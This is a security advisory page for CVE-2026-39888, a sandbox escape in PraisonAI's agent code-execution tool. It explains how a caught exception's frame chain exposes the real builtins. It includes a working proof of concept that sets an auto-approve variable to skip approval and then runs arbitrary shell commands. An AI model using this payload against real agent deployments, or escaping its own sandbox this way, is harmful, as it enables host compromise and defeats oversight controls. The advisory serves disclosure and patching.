Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-39888 — praisonai

🔴 CVSS 9.9 — Critical ✅ No Known Exploit CWE-657 NVD
9.9
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

PraisonAI has sandbox escape via exception frame traversal in execute_code (subprocess mode)

Summary

execute_code() in praisonaiagents.tools.python_tools defaults to

sandbox_mode="sandbox", which runs user code in a subprocess wrapped with a

restricted __builtins__ dict and an AST-based blocklist. The AST blocklist

embedded inside the subprocess wrapper (blocked_attrs, line 143 of

python_tools.py) contains only 11 attribute names — a strict subset of the 30+

names blocked in the direct-execution path. The four attributes that form a

frame-traversal chain out of the sandbox are all absent from the subprocess list:

| Attribute | In subprocess blocked_attrs | In direct-mode _blocked_attrs |

|---|---|---|

| __traceback__ | NO | YES |

| tb_frame | NO | YES |

| f_back | NO | YES |

| f_builtins | NO | YES |

Chaining these attributes through a caught exception exposes the real Python

builtins dict of the subprocess wrapper frame, from which exec can be

retrieved and called under a non-blocked variable name — bypassing every

remaining security layer.

Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical

| Vector | Value | Rationale |

|---|---|---|

| AV:N | Network | execute_code is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |

| AC:L | Low | No race conditions or special configuration required |

| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |

| UI:N | None | No victim interaction |

| S:C | Changed | Escapes subprocess sandbox into full host process context |

| C:H | High | Arbitrary file read, environment variable access, credential exfiltration |

| I:H | High | Arbitrary file write, arbitrary code execution on host |

| A:H | High | Can terminate processes, exhaust resources |

Affected

  • Package: praisonaiagents (PyPI)
  • Affected versions: all versions shipping sandbox_mode="sandbox" (default since introduction) through 1.5.113
  • Patched versions: none at time of report
  • File: praisonaiagents/tools/python_tools.py

Root Cause

Two separate blocked_attrs sets — one much weaker than the other

_validate_code_ast() (line 39, used by direct mode) blocks 30+ attributes:

```python

# python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)

_blocked_attrs = frozenset({

'__subclasses__', '__bases__', '__mro__', '__globals__',

'__code__', '__class__', '__dict__', '__builtins__',

'__import__', '__loader__', '__spec__', '__init_subclass__',

'__set_name__', '__reduce__', '__reduce_ex__',

'__traceback__', '__qualname__', '__module__', # ← present here

'__wrapped__', '__closure__', '__annotations__',

'gi_frame', 'gi_code', 'cr_frame', 'cr_code',

'ag_frame', 'ag_code', 'tb_frame', 'tb_next', # ← present here

'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here

'co_consts', 'co_names',

})

```

The subprocess wrapper script written to disk (line 143) uses a separate,

inline blocked_attrs with only 11 entries — the frame-traversal attrs are

missing:

```python

# python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)

blocked_attrs = {

'__subclasses__', '__bases__', '__mro__', '__globals__',

'__code__', '__class__', '__dict__', '__builtins__',

'__import__', '__loader__', '__spec__'

# __traceback__, tb_frame, f_back, f_builtins — all absent

}

```

_safe_getattr does not protect direct dot-notation access

_safe_getattr replaces the getattr builtin and blocks attribute names

starting with _. However, it is only invoked when user code explicitly calls

getattr(obj, name). Direct attribute access (obj.attr in source) uses

Python's C-level tp_getattro slot and never passes through _safe_getattr.

The AST check is therefore the only barrier to direct attribute access, and it

is insufficient.

No text-pattern blocklist in subprocess mode

_execute_code_direct applies a text-pattern blocklist (dangerous_patterns)

as a defence-in-depth layer. _execute_code_sandboxed has no such layer —

only the AST check runs.

Proof of Concept

```python

import os

os.environ["PRAISONAI_AUTO_APPROVE"] = "true"

from praisonaiagents.tools.python_tools import execute_code

CMD = "id" # any shell command

payload = f"""

try:

1/0

except ZeroDivisionError as e:

_p = e.__traceback__.tb_frame.f_back

_x = _p.f_builtins["exec"]

_x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())",

{{"__builtins__": _p.f_builtins}})

"""

result = execute_code(code=payload)

print(result["stdout"])

```

Output (praisonaiagents 1.5.113, Python 3.10):

```

uid=1000(user) gid=1000(user) groups=1000(user)

```

<img width="775" height="429" alt="image" src="htt

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-39888 is classified as CWE-657: Violation of Secure Design Principles. The product violates well-established principles for secure design.

Affected software

CVE-2026-39888 is recorded against 2 packages.

  • praisonai (fixed in 1.5.115)
  • praisonaiagents (fixed in 1.5.115)

Timeline and source

Published on 8 April 2026 and last revised on 24 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com

Other advisories for this package

praisonai has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-657: Violation of Secure Design Principles) in other software:

Details

Severity CRITICAL
CVSS Score 9.9
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE CWE-657
Public Exploit ✅ No
Source NVD
Published 2026-04-08
Updated 2026-08-20
Modified 2026-07-24
Fix URL N/A

Affected Packages

Software From version Fixed in
praisonai 1.5.115
praisonaiagents 1.5.115

Similar Threats

Exploit Protection

Are you running praisonai?

CVE-2026-39888 carries CVSS 9.9 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-39888 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026